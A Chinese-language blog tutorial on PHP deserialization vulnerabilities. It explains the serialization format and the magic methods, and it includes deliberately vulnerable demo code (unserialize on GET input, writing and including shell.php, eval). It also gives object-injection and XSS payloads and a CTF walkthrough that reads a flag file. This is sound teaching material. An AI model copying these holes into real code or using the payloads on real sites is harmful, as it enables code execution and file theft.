PHP反序列化之基础

序列化

序列化是将对象转换成字符串。但仅保留对象里的成员变量,不保留函数方法。将对象序列化有利于对象的保存和传输,也可以让多个文件共享对象。

反序列化

反序列化是将字符串恢复成对象。

PHP的序列化实现

源码:

<?php 
class person{
	public $name='zhangsan';
	public $sex='boy';
	public $age='18';
}
$zhangsan=new person();
$str=serialize($zhangsan);
echo $str;
?>

运行结果:

分析: 创建了一个person类,在这个类中定义了三个属性,然后实例化了一个$zhangsan对象。使用serializa()函数将$zhangsan这个对象进行了序列化,并将序列化之后的字符串进行输出。

序列化后的字符串详解:

O:6:"person":3:{s:4:"name";s:8:"zhangsan";s:3:"sex";s:3:"boy";s:3:"age";s:2:"18";}[Finished in 0.3s]

O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示

6 代表类名字person占6个字符

person 类名

3 代表三个属性

s 代表字符串

4 代表属性名长度

name 属性名

s:8:"zhangsan 字符串 属性值长度 属性值

访问控制修饰符

类当中属于的访问控制修饰符不通,序列化后的属性长度和属性值也会不同。

  • public(公有)
  • protected(受保护)
  • private(私有的)

protected属性被序列化后属性名长度会增加3,因为属性名会变成%00*%00属性名。

private属性被序列化后属性名会变成%00类名%00属性名。

魔术方法 sleep()

serialize()函数在序列化对象的时候会检查类中是否存在魔术方法sleep()。如果存在,sleep()方法会先被调用,然后再执行序列化操作。__sleep()方法可以确定那些属性被序列化。如果没有__sleep()方法则默认序列化所有属性。

上述定义的sleep方法,返回了一个数组,致使sex和age属性被序列化name没有被序列化。

unserialize()后会导致 __wakeup()__destruct()的直接调用,中间无需其他过程.

因此最理想的情况就是一些漏洞/危害代码在 __wakeup()__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们 .

魔术方法 __destruct()

脚本运行结束之前会调用对象的析构函数

<?php 
class person{
	public $name='zhangsan';
	public $sex='boy';
	public $age='16';
	function __destruct(){
		echo $this->name;
	}
}
$id=$_GET['id'];
$un=unserialize($id);
 ?>

源码分析:get方法获取一个序列化之后的字符串,然后由unserialize()反序列化成对象,然后在脚本运行结束的时候该对象调用__destruct()方法,输出对象的$name属性的值。

运行结果:

 漏洞利用:我们可以构建payload,将恶意代码插入序列化的字符串,然后将恶意代码转换成对象,调用__destruct()方法执行恶意代码。

payload:O:6:"person":3:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"sex";s:3:"boy";s:3:"age";s:2:"18";}

注意:属性的值改变,属性的值的长度也要改变成相应的长度。

魔术方法 __wakeup()

unserialize()函数在序列化对象的时候会检查类中是否存在魔术方法wakeup()。如果存在,wakeup()方法会先被调用,然后再执行反序列化操作。可以再__wakeup()方法中对属性进行初始化或者改变。

比如:在进行反序列化的时候对属性进行重新赋值。

<?php 
class person{
	public $name='zhangsan';
	public $sex='boy';
	public $age='18';
	function __sleep(){
		return array('name','sex','age');
	}
	function __wakeup(){
		$this->name='renew name';
	}
}
$zhangsan=new person();
echo(serialize($zhangsan))."<br>";
$id=$_GET['id'];
$un=unserialize($id);
var_dump($un);
?>

源码分析:实例化一个对象,然后将它序列化后输出。再进行然序列化,调用了wakeup()函数,导致序列化后$name变成了renew name。

这些看起来似乎是没有什么危害,但是如果wakeup()函数处定义的代码不是重新赋值,而是漏洞代码危害就大了。

<?php 
class person{
	public $name='zhangsan';
	public $sex='boy';
	public $age='18';
	function __sleep(){
		return array('name','sex','age');
	}
	function __wakeup(){
		$fp=fopen("shell.php", "w");
		fwrite($fp, $this->name);
		fclose($fp);
	}
}
$zhangsan=new person();
echo(serialize($zhangsan))."<br>";
$id=$_GET['id'];
$un=unserialize($id);
var_dump($un);
require "shell.php";
?>

源码分析:unserialize()反序列化之后会调用wakeup()函数,将对象属性name的值写入shell.php文件当中,然后去包含它。

如何利用unserialize()函数不会直接调用的魔术函数。

当wakeup()函数又调用了其他对象,层层溯源,还是可以调用的

构造函数__construct()

<?php 
class test{
	function __construct($name){
		$fp=fopen("shell.php", "w");
		fwrite($fp, $name);
		fclose($fp);
		echo "123456上山大老鼠";
	}
}
class person{
	public $name='zhangsan';
	public $sex='boy';
	public $age='18';
	function __sleep(){
		return array('name','sex','age');
	}
	function __wakeup(){
		$obj=new test($this->name);
	}
}
$zhangsan=new person();
echo(serialize($zhangsan))."<br>";
$id=$_GET['id'];
$un=unserialize($id);
var_dump($un);
require "shell.php";
?>

运行结果:

普通同名方法利用

<?php 
class main{
	var $test;
	function __construct(){
		$this->test=new test1();
	}
	function __destruct(){
		$this->test->action();
	}
}
class test1{
	function action(){
		echo "hello world";
	}
}
class test2{
	var $test2;
	function action(){
		eval($this->test2);
	}
}
$a=new main();
$b=unserialize($_GET['test']);
print_r($b);
 ?>

源码分析:

$a=new main(); 从main类实例化对象$a;

$this->test=new test1();从test1类实例化对象$test

当脚本运行结束时,

$this->test->action();调用test1类的action()方法,输出“hello world”

我们看到test2类中也有action()方法,且该方法中存在代码执行漏洞。于是我们可以构建序列化字符串来调用test2类中的方法 而不是test1中的方法。

获取序列化字符串

$a=new main(); 中方法destruct()调用的action()方法是一样的,区别是$this->test=new test1();确定调用那个类中的方法,我们手工设置,让其对象调用的是test2中类的方法,并为其赋值危险代码。

直接访问php2.php

带入payload:

http://127.0.0.1/php2.php?test=O:4:%22main%22:1:{s:4:%22test%22;O:5:%22test2%22:1:{s:5:%22test2%22;s:10:%22phpinfo();%22;}}

魔术方法__toString()

当对象被输出的时候,会调用__toString()方法

<?php 
// 当他的对象被输出时候,调用__toString
class FileClass{
public $filename = 'shy.php';
// 返回读取一个文件的内容
public function __toString(){
return file_get_contents($this->filename);
}
}
$file=new FileClass();
echo(serialize($file));
echo $file;

实例化了一个对象$file,当我输出这个对象的时候,调用了__toString()方法,读取了文件shy.php的内容。

练习:

1,神盾局的秘密

访问http://web.jarvisoj.com:32768/

查看源码

继续接着访问:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw==

发现没有显示出图片,而且类似加载了文件的源码,可能存在任意文件读取漏洞。

读取index.php

isset() 函数用于检测变量是否已设置并且非 NULL。

empty() 函数用于检查一个变量是否为空。

readfile() 函数读取一个文件,并写入到输出缓冲。

如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出。

读取showing

过滤了.. / \\ pctf了,如果存在,则输出File not found!,否则执行readfile($f);

查看shield.php文件代码:

shield.php中shield类中定义了readfile()方法,如果$file不为空,文件名中没有.. / \\ ,返回该文件的内容。

提示了//flag is in pctf.php,但是过滤了无法读取,直接访问也不行

因为index.php中包含了shield.php,所以放在一起进行分析:

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>

我发现在这个类定义的方法中没有过滤pctf,可以通过这个读取pctf.php

第一步:构建序列化字符串

第二步,通过get方法传入序列化字符串

果然真的flag写在注释里面。

 

参考学习大佬文章:

https://mp.weixin.qq.com/s/FhwML5Jy6X8glJNOeMgV2g

 

 

 

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值